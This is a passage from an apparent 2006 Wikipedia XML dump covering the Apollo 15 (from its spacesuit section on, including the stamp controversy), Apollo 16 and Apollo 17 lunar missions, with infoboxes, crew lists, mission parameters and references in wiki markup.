The astronauts themselves wore new spacesuits.  On all previous Apollo flights, including the non-lunar flights, the commander and lunar module pilot had worn suits with the life support, liquid cooling, and communications connections in two parallel rows of threes.  On Apollo 15, the new suits, dubbed the &quot;A7L-B,&quot; have the connectors situated in triangular pairs.  This new arrangement, along with the relocation of the entry zipper (which went in an up-down motion on the old suits), from the right shoulder to the left hip, allowed the inclusion of a new waist joint, allowing the astronauts to bend completely over, and even to sit on the rover.  Upgraded backpacks allowed for longer-duration moonwalks, and the command module pilot, who wore a suit with three connectors, would wear a five-connector version of the old moon suit--the liquid cooling water connector being removed, as the command module pilot would make a &quot;deep-space EVA&quot; to retrieve film cartridges on the flight home.

[[Image:Apollo_15_SIM_bay.jpg|thumb|Apollo 15 SM SIM bay (NASA)]]

Technicians at the [[Kennedy Space Center]] had many problems with the SIM bay. It was the first time it had flown and experienced problems from the start. Problems came from the fact the instruments were designed to operate in zero gravity, but had to be tested in the 1 [[gee]] on the surface of the Earth. As such things like the 7.5 m booms for the [[Mass spectrometry|mass]] and [[gamma-ray spectrometer]]s could only be tested using railings that tried to mimic the space environment, though never worked particularly well. When the technicians tried to integrate the entire bay into the rest of the spacecraft, [[data stream]]s would not synchronize and lead investigators of the instruments would want to make last minute checks and changes. When it came time to test the operation of the gamma-ray spectrometer it was necessary to stop every engine within 10 miles (16 km) of the test site.

Once all the various components had been installed on the Saturn V, it was moved to the launch site, Launch Complex 39A. During late June and early July 1971, the rocket and Mobile Service Structure were struck by [[lightning]] at least four times. All was well however, with only minor damage suffered.

:''The following is a brief overview of the ''Apollo 15'' mission. For more in-depth information, see each the main article for each section.''

===Outward journey===
{{Apollo15series}}
{{main|Apollo 15, Outward journey}}
Launching at 9:34:00 am EDT on [[July 26]], [[1971]], ''Apollo 15'' would take four days to reach the Moon. After spending two hours in orbit around the Earth, the [[S-IVB]] third stage of the [[Saturn V]] was reignited to send them to the Moon.

During the retrieval of the LM from its stowed position below the CSM, a light came on the control panel that indicated the valves of the Service Propulsion System were open and the engine should be firing. A short was found in a switch that controlled on the redundant valves for the engine. New procedures were developed to deal with this. During their first inspection of the LM, Scott and Irwin found that the glass cover of a tapemeter had broken forcing them to clean up the glass shards lest they breathe them in.

On the fourth day they entered into lunar orbit and prepared for lunar descent.

===Solo operations===
{{main|Apollo 15, Solo operations}}
During the three day explorations of the Moon by Scott and Irwin, Worden had a busy schedule of observations. ''Apollo 15'' was the first mission to carry the SIM bay, which contained a [[panorama|panoramic]] camera, [[gamma ray spectrometer]], [[mapping]] camera, [[laser]] [[altimeter]] and [[mass spectrometer]]. Worden had to operate the [[Shutter (photography)|shutter]] and [[optical device|lens]]es on the camera and turn on and off the various instruments. During the coast back to Earth, he would perform an EVA to retrieve film cassettes from the cameras.

===Lunar surface===
{{main|Apollo 15, Lunar surface}}
[[Image:Apollo 15 flag, rover, LM, Irwin.jpg|thumb|250px|Jim Irwin salutes the US flag]]
[[Image:40_A15Sta8.jpg|thumb|250px|Panoramic Assembly of  Apollo 15 Landing Site]]

''Apollo 15'' was the first mission to perform three EVAs on the lunar surface. After landing at [http://nssdc.gsfc.nasa.gov/planetary/lunar/lunar_sites.html 26°8&amp;#8242; N 3°38&amp;#8242; E], Scott removed the top hatch of the LM to perform a site survey and get a brief overview of the surrounding areas. The first EVA took the crew on the Rover to the base of Mount Hadley Delta. Back at the LM the crew started the deployment of the Apollo Lunar Surface Experiment Package (ALSEP). Scott had extreme difficulty drilling the holes for the heat-flow experiment, forcing him to come back the next day to complete the task.

The second EVA again took Scott and Irwin to the base of Mount Hadley Delta but they went up its slope. Here they found the [[Genesis Rock]]. Returning to the LM, Scott completed the heat flow holes and began on a core sample which once again was extremely difficult to drill. He was once again forced to leave it for the next day.

The difficulties with the core sample meant the cancellation of the traverse to the North Complex. The crew still travelled to the edge of Hadley Rille. Returning to the LM for the last time, Scott dropped a falcon feather and his geology hammer to show that in gravity fields, the mass of the object does not affect the rate at which it falls.

On LRV 1, a plaque was attached bearing the inscription:
:MANS FIRST WHEELS ON THE MOON, DELIVERED BY FALCON, JULY 30, 1971
And the signatures of the Apollo 15 Astronauts.

===Return to Earth===
{{main|Apollo 15, Return to Earth}}
After lifting off from the lunar surface, ''Falcon'' and ''Endeavour'' rendezvoused and docked. After transferring across the lunar samples and other equipment, ''Falcon'' was jettisoned. It would fire its rocket engine to cause it to impact the lunar surface.  During lunar liftoff, the [[United States Air Force]] song &quot;Wild Blue Yonder&quot; was played, signifying the all-Air Force makeup of the Apollo 15 crew.

''Apollo 15'' spent one more day in lunar orbit, continuing the observations of Worden. After releasing a subsatellite, they ignited their Service Propulsion system to put them on a trajectory back to Earth. The next day, Worden performed an EVA to retrieve the film cassettes from the SIM bay cameras.

The twelfth day in space was uneventful, with Mission Control holding a press conference where the astronauts were asked questions submitted by the news media. On their 13th and final day they prepared for reentry. During descent one of their parachutes failed, meaning they landed under only two.

==The stamp controversy==
[[Image:Apollo 15 Space Suit David Scott.jpg|thumb|Dave Scott's space suit on display at the [[National Air and Space Museum|NASM]].]]

After a highly successful mission, the reputation of the crew was tarnished somewhat by a deal they made with [[H. Walter Eiermann]], an American citizen who had many professional and social contacts to NASA employees and the astronaut corps. Scott had carried 398 unauthorized [[First day of issue|First-Day Cover]]s in his spacesuit. Eiermann, had promised each astronaut [[United States dollar|US$]]7000 in the form of [[Savings deposit|savings accounts]] in return for 100 covers signed after having returned from the Moon. He told them that he would not advertise or sell the covers until the end of the Apollo program.

Scott sent 100 of these covers to Eiermann to [[Stuttgart]], [[Germany]].  Eiermann then passed them on to the stamp dealer [[Herman E. Sieger]] from [[Lorch]], [[Germany]], who had previously approached him and had suggested the deal. Sieger proceeded to sell the covers for an average price of US$1,500 in a public sale in Germany. On hearing these news, Scott contacted Eiermann, asking him to stop the sale. The crew also decided against receiving any money from Eiermann. NASA took possession of the remaining 298 covers.

All three crew members were formally reprimanded and their official [[Efficiency Report]]s as military officers were changed to reflect a formal finding of &quot;lack of judgment&quot;.

Another minor controversy centered around two [[timepiece]]s, a [[wristwatch|watch]] and [[stopwatch]], carried by Scott. He had agreed to evaluate the timepieces for the manufacturer at the request of a friend. Thinking they might be useful, particularly for the possible timing of a manually controlled emergency propulsion maneuver, Scott took them along on the mission without prior authorization.

One final controversial event happened after the flight. The crew had contacted Belgian [[Sculpture|sculptor]] [[Paul Van Hoeydonck]] to create a small statuette to personally commemorate those astronauts and cosmonauts having lost their lives in the furtherance of space exploration. The small [[aluminium]] sculpture called &quot;[[Fallen Astronaut]]&quot; was left on the Moon, along with a plaque bearing the names of fourteen American and Russian astronauts and cosmonauts. They had agreed with Van Hoeydonck that no replicas were to be made. After mentioning the statuette during their post-flight press conference, the [[National Air and Space Museum]] contacted the crew asking for a replica made for the museum. The crew agreed under the condition that it was to be displayed with good taste and without publicity. Van Hoeydonck was contacted to make the replicas. In May 1972 Scott learned that Van Hoeydonck planned to make more replicas and sell them. Van Hoeydonck could not be persuaded not to and 950 replicas were sold for $750 apiece at the [[Waddell Gallery]] of [[New York]].

== Media ==
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== References ==
*Chaikin, Andrew (1994). ''A Man On The Moon: The Voyages of the Apollo Astronauts''. Viking. ISBN 0670814466.
*Harland, David M. (1999). ''Exploring the Moon: The Apollo Expeditions''. Springer/Praxis Publishing. ISBN 1852330996.
*NASA Manned Spacecraft Center (1972). ''Apollo 15 Preliminary Science Report''. Scientific and Technical Office, NASA.
*[http://history.nasa.gov/ap15fj/ Apollo 15 Flight Journal]. Retrieved on [[June 17]], [[2005]]
*[http://www.hq.nasa.gov/alsj/a15/a15.html Apollo 15 Lunar Surface Journal]. Retrieved on [[June 17]], [[2005]]
*[http://history.nasa.gov/SP-4029/Apollo_15a_Summary.htm Apollo By The Numbers: A Statistical Reference by Richard W. Orloff (NASA)]. Retrieved on [[June 17]], [[2005]]
*[http://www.hq.nasa.gov/office/pao/History/SP-4204/ch20-6.html Moonport: A History of Apollo Launch Facilities and Operations]. Retrieved on [[June 17]], [[2005]]
*[http://www.astronautix.com/flights/apollo15.htm Apollo 15] in the [[Encyclopedia Astronautica]].  Retrieved on [[June 17]], [[2005]]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report].  Retrieved on [[June 17]], [[2005]]
*[http://nssdc.gsfc.nasa.gov/planetary/lunar/apollo15info.html NSSDC Apollo 15 page]. Retrieved on [[June 17]], [[2005]]
*NASA ([[September 15]], [[1972]]). ''[http://www.collectspace.com/resources/flown_a15_articlescarried.html Articles Carried on Manned Space Flights]''. Press Release.
*[http://www.spacephilatelics.com/suchap3-32.html Sieger Flown Moon Covers]. Retrieved on [[June 18]], [[2005]]
*[http://www.archive.org/details/IntheMountainsOfTheMoonApollo15 In the Mountains of the Moon (Part 1) NASA film on the Apollo 15 mission downloadable at www.archive.org The Internet Archive]
*[http://www.archive.org/details/InTheMountainsOfTheMoon In the Mountains of the Moon (Part 2) NASA film on the Apollo 15 mission downloadable at www.archive.org The Internet Archive]

{{commons|Apollo 15}}

{{Project Apollo | before=[[Apollo 14]] | after=[[Apollo 16]]}}

[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]
[[Category:1971]]

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[[sv:Apollo 15]]</text>
    </revision>
  </page>
  <page>
    <title>Apollo 16</title>
    <id>1970</id>
    <revision>
      <id>42106675</id>
      <timestamp>2006-03-03T21:44:11Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 16'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:AP16hennings.JPG|200px|Apollo 16 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Statistics
|-
|'''Mission Name:'''||Apollo 16
|-
|'''Call Sign:'''||Command module: ''Casper''&lt;br /&gt;Lunar module: ''Orion''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|'''Launch:'''||[[April 16]], [[1972]]&lt;br /&gt;17:54:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar Landing:'''||[[April 21]], 1972&lt;br /&gt;02:23:35 UTC&lt;br /&gt;8° 58' 22.84&quot; S - 15° 30' 0.68&quot; E&lt;br /&gt;[[Descartes Highlands]]
|-
|'''Lunar EVA&lt;br /&gt;length:'''||1st: 7 h 11 min 2 s&lt;br /&gt;2nd: 7 h 23 min 9 s&lt;br /&gt;3rd: 5 h 40 min 3 s&lt;br /&gt;Total:20 h 14 min 14 s
|-
|'''CMP EVA:'''||1 h 23 min 42 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||71 h 2 min 13 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 95.71 kg (211 lb)
|-
|'''Splashdown:'''||[[April 27]], [[1972]]&lt;br /&gt;19:45:05 UTC&lt;br /&gt;0° 43' S - 156° 13' W
|-
|'''Duration:'''||11 d 1 h 51 min 5 s
|-
|'''Number of&lt;br /&gt;Lunar Orbits:'''||64
|-
|'''Time in&lt;br /&gt;Lunar Orbit:'''||125 h 49 min 32.59 s
|-
|'''Mass:'''||CSM 30,395 kg;&lt;br /&gt;LM 16,445 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew Picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001134.jpg|300px|Apollo 16 crew portrait (L-R: Mattingly, Young and Duke)]] &lt;br/&gt;Apollo 16 crew portrait &lt;br/&gt;(L-R: Mattingly, Young and Duke)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 16 Crew
|}

'''Apollo 16''' was the tenth manned mission in the [[Project Apollo|Apollo program]] and the fifth mission to land on the Moon.

==Crew==

*[[John W. Young]] (flew on ''[[Gemini 3]]'', ''[[Gemini 10]]'', ''[[Apollo 10]]'', ''Apollo 16'', ''[[STS-1]]'', &amp; ''[[STS-9]]''), commander
*[[Ken Mattingly|Thomas K. (Ken) Mattingly Jr.]] (flew on ''Apollo 16'', ''[[STS-4]]'', &amp; ''[[STS-51-C]]''), command module pilot
*[[Charles Moss Duke, Jr.|Charles Duke Jr.]] (flew on ''Apollo 16''), lunar module pilot

===Backup crew===
*[[Fred Haise]], commander
*[[Stuart Roosa]], command module pilot
*[[Edgar Mitchell]], lunar module pilot

===Support crew===
*[[Philip K. Chapman|Philip Chapman]]
*[[Anthony England]]
*[[Henry Hartsfield]]
*[[Robert Overmyer]]

==Mission parameters==
*'''Mass:'''
**Launch mass: 2,921,005 kg
**Total spacecraft: 46,782 kg
***CSM mass: 30,354 kg, of which CM was 5840 kg, SM 24,514 kg
***LM mass: transposition and docking 36,252 lb (16,444 kg), separation for landing 36,743 lb (16,666 kg), ascent stage at lunar liftoff 10,949 lb (4966 kg)
*'''Earth orbits:''' 3 before leaving for Moon, about one on return
*'''Lunar orbits:''' 64

*'''[[Perigee]]:''' 166.7 km
*'''[[Apogee]]:''' 176.0 km
*'''[[Inclination]]:''' 32.542° 
*'''[[Orbital period|Period]]:''' 87.85 min

*'''[[Perilune]]:''' 107.6 km
*'''[[Apolune]]:''' 315.4 km
*'''[[Inclination]]:''' 168° 
*'''[[Orbital period|Period]]:''' 120 min
*'''Landing Site:''' [http://nssdc.gsfc.nasa.gov/planetary/lunar/lunar_sites.html 8.97301° S - 15.50019° E] or&lt;br /&gt; 8° 58' 22.84&quot; S - 15° 30' 0.68&quot; E

===LM - CSM docking===
*'''Undocked''': [[April 20]], [[1972]] - 18:07:31 UTC
*'''Docked''': [[April 24]], [[1972]] - 03:35:18 UTC

===EVAs===
* '''''Young and Duke''''' - EVA 1
*'''EVA 1 Start''': [[April 21]], [[1972]], 16:47:28 UTC
*'''EVA 1 End''': April 21, 23:58:40 UTC
*'''Duration''': 7 hours, 11 minutes, 02 seconds

* '''''Young and Duke''''' - EVA 2
*'''EVA 2 Start''': [[April 22]], [[1972]], 16:33:35 UTC
*'''EVA 2 End''': April 22, 23:56:44  UTC
*'''Duration''': 7 hours, 23 minutes, 09 seconds

* '''''Young and Duke''''' - EVA 3 
*'''EVA 3 Start''': [[April 23]], [[1972]], 15:25:28 UTC
*'''EVA 3 End''': April 23, 21:05:31  UTC
*'''Duration''': 5 hours, 40 minutes, 03 seconds

* ''''' Mattingly ''''' - Transearth EVA 4 
*'''EVA 4 Start''': [[April 25]], [[1972]], 20:33:46 UTC
*'''EVA 4 End''': April 25, 21:57:28  UTC
*'''Duration''': 1 hour, 23 minutes, 42 seconds

The splashdown point was 0 deg 43 min S, 156 deg 13 min W, 215 miles (350 km) southeast of Christmas Island and 5 km (3 mi) from the recovery ship [[USS Ticonderoga (CV-14)|USS ''Ticonderoga'']].

==Introduction==
[[Image:a16-plaque.jpg|right|thumb|depiction of the plaque left on the moon by Apollo 16]]
The crew members: [[John W. Young]], commander; [[Ken Mattingly]], command module pilot; and [[Charles Duke]], lunar module pilot. It was a J-class mission, featuring a [[Lunar Rover]]. It brought back 94.7 kg of lunar samples. It included three lunar [[Extra-vehicular activity|EVA]]: 7.2 hours, 7.4 hours, 5.7 hours and one trans-earth EVA of 1.4. This was only the second trans-earth EVA ever and was used to bring in film from exterior cameras and conduct an experiment on microbial survival.

The Apollo 16 subsatellite was launched from the CSM while it was in lunar orbit. The subsatellite carried out experiments on magnetic fields and solar particles. It was launched [[April 24]], [[1972]] at 21:56:09 UTC and orbited the Moon for 34 days and 425 revolutions. It had a mass of 80 lb (36.3 kg) and consisted of a central cylinder and three 1.5 m booms.

Enroute to the moon, the Apollo 16 astronauts took several photos of Earth.  One of which was with North America in the background, with much of the northern portion of the continent under extensive cloud cover.  This photo would later be used as a backdrop for the opening sequence of television's [[World Class Championship Wrestling]], a Dallas-based professional wrestling organization, from 1983 to 1987.

==Mission highlights==
[[Image:40_A16Plum.jpg|thumb|360px|Panoramic Assembly of  Apollo 16 Plum and Flag Craters (moonpans.com)]][[Image:AS16-113-18339.jpg|thumb|360px|John Young jumps while saluting the flag. (NASA)]]
[[Image:Apollo_16_LM_Orion.jpg|thumb|360px|John Young works at the LRV near the LM Orion (NASA)]]

A malfunction in a yaw gimbal servo loop in the main propulsion system of the CSM &quot;Casper&quot; caused concerns about firing the engine to adjust the CSM's lunar orbit, and nearly caused the Moon landing to be scrubbed. But it was decided that the malfunction presented relatively little risk, and Young and Duke (who were already undocked, and flying LM &quot;Orion&quot; when the problem occurred) were permitted to land on the Moon.  However, the mission was shortened by a day (reducing the time in orbit around the Moon after the LM left the Moon and docked with the CSM), as a safety measure.

Young and Duke spent three days exploring the Descartes highland region, while Mattingly circled overhead in &quot;Casper.&quot; The astronauts discovered that what was thought to have been a region of volcanism was actually a region full of impact-formed rocks (breccias). Their collection of returned specimens included an 25 pound (11 kg) chunk that was the largest single rock returned by the Apollo astronauts (nicknamed ''Big Muley''). The Apollo 16 astronauts also conducted performance tests with the lunar rover, at one time getting up to a top speed of 11 miles per hour (18 kilometers per hour), which still stands as the record speed for any wheeled vehicle on the Moon (listed as such in the [[Guinness Book of Records]]).

===Relics===
The command module is currently at the [[U.S. Space &amp; Rocket Center]], in [[Huntsville, Alabama]]. The lunar module ascent stage separated [[24 April]] [[1972]] but a loss of attitude control rendered it out of control. It orbited the Moon for about a year. Its impact site on the Moon is unknown.
&lt;br clear=&quot;all&quot;&gt;

==Media==
{{video|filename=Ap16 rover.ogg|title=The Lunar Rover in use|description=An Apollo 16 astronaut driving the [[Lunar Rover]]|format=[[Ogg]]}}

==See also==
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

==References==
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm  APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]
*[http://history.nasa.gov/SP-4012/vol3/table2.44.htm Apollo 16 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]

==External links==
* [http://www.astronautix.com/flights/apollo16.htm Apollo 16 entry in Encyclopedia Astronautica]
* [http://www.spacecamp.com/museum/ U.S. Space &amp; Rocket Center Museum] (location of Apollo 16 command module)
* [http://www.archive.org/details/NothingSoHiddenApollo16 (Part 1)NASA film on the Apollo 16 mission downloadable from www.archive.org The Internet Archive)
* [http://www.archive.org/details/NothingSoHidden (Part 2)NASA film on the Apollo 16 mission downloadable from www.archive.org The Internet Archive)

{{commons|Apollo 16}}

{{Project Apollo | before=[[Apollo 15]] | after=[[Apollo 17]]}}

[[Category:Lunar spacecraft]]
[[Category:Human spaceflights]]
[[Category:Apollo program]]
[[Category:1972]]

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  </page>
  <page>
    <title>Apollo 17</title>
    <id>1971</id>
    <revision>
      <id>42108098</id>
      <timestamp>2006-03-03T21:53:46Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>/* Quotes */</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 17'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Ap17recon.jpg|200px|Apollo 17 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission Statistics
|-
|'''Mission Name:'''||Apollo 17
|-
|'''Call Sign:'''||Command module: ''America''&lt;br /&gt;Lunar module: ''Challenger''
|-
|'''Number of&lt;br /&gt;Crew:'''||3
|-
|'''Launch:'''||[[December 7]], [[1972]]&lt;br /&gt;05:33:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar Landing:'''||[[December 11]], 1972&lt;br /&gt;19:54:57 UTC&lt;br /&gt;20° 11' 26.88&quot; N - 30° 46' 18.05&quot; E&lt;br /&gt;Taurus-Littrow
|-
|'''Lunar EVA&lt;br /&gt;length:'''||1st: 7 h 11 min 53 s&lt;br /&gt;2nd: 7 h 36 min 56 s&lt;br /&gt;3rd: 7 h 15 min 8 s&lt;br /&gt;Total: 22 h 3 min 57 s
|-
|'''CMP EVA:'''||1 h 5 min 44 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||74 h 59 min 40 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 110.52 kg (243.65 lb)
|-
|'''Splashdown:'''||[[December 19]], [[1972]]&lt;br /&gt;19:24:59 UTC&lt;br /&gt;17° 53' S - 166° 7' W
|-
|'''Duration:'''||12 d 13 h 51 min 59 s
|-
|'''Number of&lt;br /&gt;Lunar orbits:'''||75
|-
|'''Time in&lt;br /&gt;Lunar orbit:'''||147 h 43 min 37.11 s
|-
|'''Mass:'''||CSM 30,369 kg;&lt;br /&gt;LM 16,456 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001151.jpg|300px|Apollo 17 crew portrait (L-R: Schmitt, Cernan (seated) and Evans)]] &lt;br/&gt;Apollo 17 crew portrait &lt;br/&gt;(L-R: Schmitt, Cernan (seated) and Evans)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Night View 
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo 17 The Last Moon Shot Edit1.jpg|300px|Apollo 17 - The Last Moon Shot]] &lt;br/&gt;Apollo 17 &amp;mdash; ''The Last Moon Shot''
|}

'''Apollo 17''' was the eleventh [[manned space mission]] in the [[NASA]] [[Project Apollo|Apollo program]] and was the sixth and last mission to date to land on the [[Moon]]. It was the first night launch, and the final mission, of the Apollo program.

==Crew==
*[[Eugene Cernan]] (flew on ''[[Gemini 9A]]'', ''[[Apollo 10]]'', &amp; ''Apollo 17''), commander
*[[Ron Evans]] (flew on ''Apollo 17''), [[Apollo_Command/Service_Module|command module]] pilot
*[[Harrison Schmitt|Harrison &quot;Jack&quot; Schmitt]] (flew on ''Apollo 17''), [[lunar module]] pilot

===Backup crew===
*[[John_W._Young|John Young]], commander
*[[Stuart Roosa]], command module pilot
*[[Charles Duke]], lunar module pilot

===Support Crew===
*[[Robert Overmyer]]
*[[Robert A. Parker|Bob Parker]]
*[[Gordon Fullerton]]

==Mission parameters==
*'''Mass:'''
**Launch mass: 6,445,000 lb (2,923,400 kg)
**Total spacecraft: 102,900 lb (46,700 kg)
***CSM mass: 66,840 lb (30,320 kg), of which CM was 13,140 lb (5960 kg), SM 53,700 lb (24,360 kg)
***LM mass: transposition and docking stage 36,274 lb (16,454 kg), separation for lunar landing 36,771 lb (16,679 kg), ascent stage at liftoff 10,997 lb (4,988 kg)
*'''Earth orbits:''' 2 before leaving for Moon, about one on return
*'''Lunar orbits:''' 75

*'''[[Perigee]]:''' 104.9 mi (168.9 km)
*'''[[Apogee]]:''' 106.4 mi (171.3 km)
*'''[[Inclination]]:''' 28.526°
*'''[[Orbital period|Period]]:''' 87.83 min

*'''[[Perilune]]:''' 60.5 mi (97.4 km)
*'''[[Apolune]]:''' 195.6 mi (314.8 km)
*'''[[Inclination]]:''' 159.9° 
*'''[[Orbital period|Period]]:''' min
*'''Landing Site:''' [http://nssdc.gsfc.nasa.gov/planetary/lunar/lunar_sites.html 20.19080° N - 30.77168° E] or &lt;br /&gt; 20° 11' 26.88&quot; N - 30° 46' 18.05&quot; E

===Docking===
*'''Undocked''': [[December 11]], [[1972]] - 17:20:56 UTC
*'''Docked''': [[December 15]], [[1972]] - 01:10:15 UTC

===EVAs===
* '''''Cernan and Schmitt''''' - EVA 1
*'''EVA 1 Start''': [[December 11]], [[1972]], 23:54:49 [[Coordinated Universal Time |UTC]]
*'''EVA 1 End''': [[12 December]] 07:06:42 UTC
*'''Duration''': 7 hours, 11 minutes, 53 seconds

* '''''Cernan and Schmitt''''' - EVA 2
*'''EVA 2 Start''': [[December 12]], [[1972]], 23:28:06 UTC
*'''EVA 2 End''': [[13 December]] 07:05:02 UTC
*'''Duration''': 7 hours, 36 minutes, 56 seconds

* '''''Cernan and Schmitt''''' - EVA 3 
*'''EVA 3 Start''': [[December 13]], [[1972]], 22:25:48 UTC
*'''EVA 3 End''': [[14 December]] 05:40:56 UTC
*'''Duration''': 7 hours, 15 minutes, 08 seconds

* ''''' Evans ''''' - Transearth EVA 4 
*'''EVA 4 Start''': [[December 17]], [[1972]], 20:27:40 UTC
*'''EVA 4 End''': [[17 December]] 21:33:24  UTC
*'''Duration''': 1 hour, 05 minutes, 44 seconds

===See also===
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

The splashdown point was 17° 53&amp;prime; S, 166° 7&amp;prime; W, 350 nautical miles (650 km) SE of the Samoan Islands and 6.5 km (4 mi) from the recovery ship [[USS Ticonderoga (CV-14)|USS ''Ticonderoga'']]. Apollo 17 landed approximately 640 meters from its target point.

==Mission highlights==
[[Image:As17-140-21391c1.jpg|thumb|left|Schmitt took this picture of Cernan flanked by an American flag and their [[lunar rover]]'s umbrella-shaped high-gain antenna near the beginning of their third and final excursion across the lunar surface. The prominent Sculptured Hills lie in the background while Schmitt's reflection can just be made out in Cernan's helmet.]]
[[Image:Apollo_17_Trans-Earth_EVA.jpg|thumb|Command Module pilot Ron Evans performs a trans-earth EVA to retrieve film from the Apollo 17 SIM Bay camera. (NASA)]]
[[Image:Ap17-S72-55974.jpg|thumb|Apollo 17 recovery operations. (NASA)]]
[[Image:a17-plaque.gif|right|thumb|depiction of the plaque left on the moon by Apollo 17]]

One of the last two men to set foot on the Moon was also the first scientist-astronaut, geologist Harrison Schmitt. While Evans circled in &quot;America,&quot; Schmitt and Cernan collected a record 240 pounds (109 kilograms) of rocks during three Moonwalks. The crew roamed for 21 miles (34 kilometers) through the Taurus-Littrow valley in their rover, discovered orange-colored soil, and left the most comprehensive set of instruments in the ALSEP on the lunar surface.  Their mission was the last in the Apollo lunar program. 

===Introduction===
Crew members were [[Gene Cernan]], commander; [[Ron Evans]], command module pilot; and [[Harrison Schmitt]], lunar module pilot.

The landing site for this mission was on the southeastern rim of the [[Mare Serenitatis]], in the southwestern [[Montes Taurus]]. This was a dark mantle between three high, steep [[massif]]s, in an area known as the Taurus-Littrow region. Pre-mission photographs showed boulders deposited along the bases of the mountains, which could provide bedrock samples. The area also contained a landslide, several impact craters, and some dark craters which could be volcanic.

A J-class mission, featuring the [[Lunar Rover]], they conducted three lunar surface excursions, lasting 7.2, 7.6 and 7.3 hours. The mission returned 243.6 lb (110.5 kg) of samples from the Moon.

The Command module is currently on display at NASA's [[Johnson Space Center]], in [[Houston, Texas]]. The lunar module impacted the Moon on [[15 December]] [[1972]] at 06:50:20.8 UT (1:50 AM EST) at 19.96 N, 30.50 E. 

On this mission the astronauts took a famous photograph of the earth known as &quot;[[The Blue Marble]]&quot;.

===Mission notes===
*Schmitt, a [[geologist]], was the first (and to date, only) scientist to walk on the Moon.

*Like the astronauts of Apollos [[Apollo 10|10]], [[Apollo 12|12]], [[Apollo 13|13]], and [[Apollo 14|14]] before it, the Apollo 17 crew were recovered in [[Pacific]] waters near [[American Samoa]] after [[splashdown]], and were flown from the recovery ship to the airport at [[Tafuna, American Samoa|Tafuna]] where they were greeted with an enthusiastic (and well practiced!) Samoan reception before being flown on to [[Honolulu]], thence to [[Houston]].

* The [[lunar plaques|plaque]] left on the ladder of the descent stage of [[Challenger]] read: ''Here Man completed his first explorations of the moon. December 1972 AD.  May the spirit of peace in which we came be reflected in the lives of all mankind''.  The plaque showed two hemispheres of Earth and the near side of the Moon, plus the signatures of Cernan, Evans, Schmitt, and [[Richard Nixon|President Nixon]].

* Commander [[Eugene Cernan]] left a Czechoslovak flag on the Moon because his ancestors came from  [[Czechoslovakia]]. 

*Schmitt was originally due to fly on the cancelled Apollo 18 but following pressure from the science community was moved up to LM pilot on Apollo 17 in place of [[Joe Engle]].

*Apollo 17 broke several records set by previous flights, including longest manned lunar landing flight; longest total lunar surface extravehicular activities; largest lunar sample return, and longest time in lunar orbit.


[[Image:40_A17shorty.jpg|thumb|right|550px|Panoramic Assembly of Schmitt at Shorty Crater (moonpans.com)]]

==Quotes==

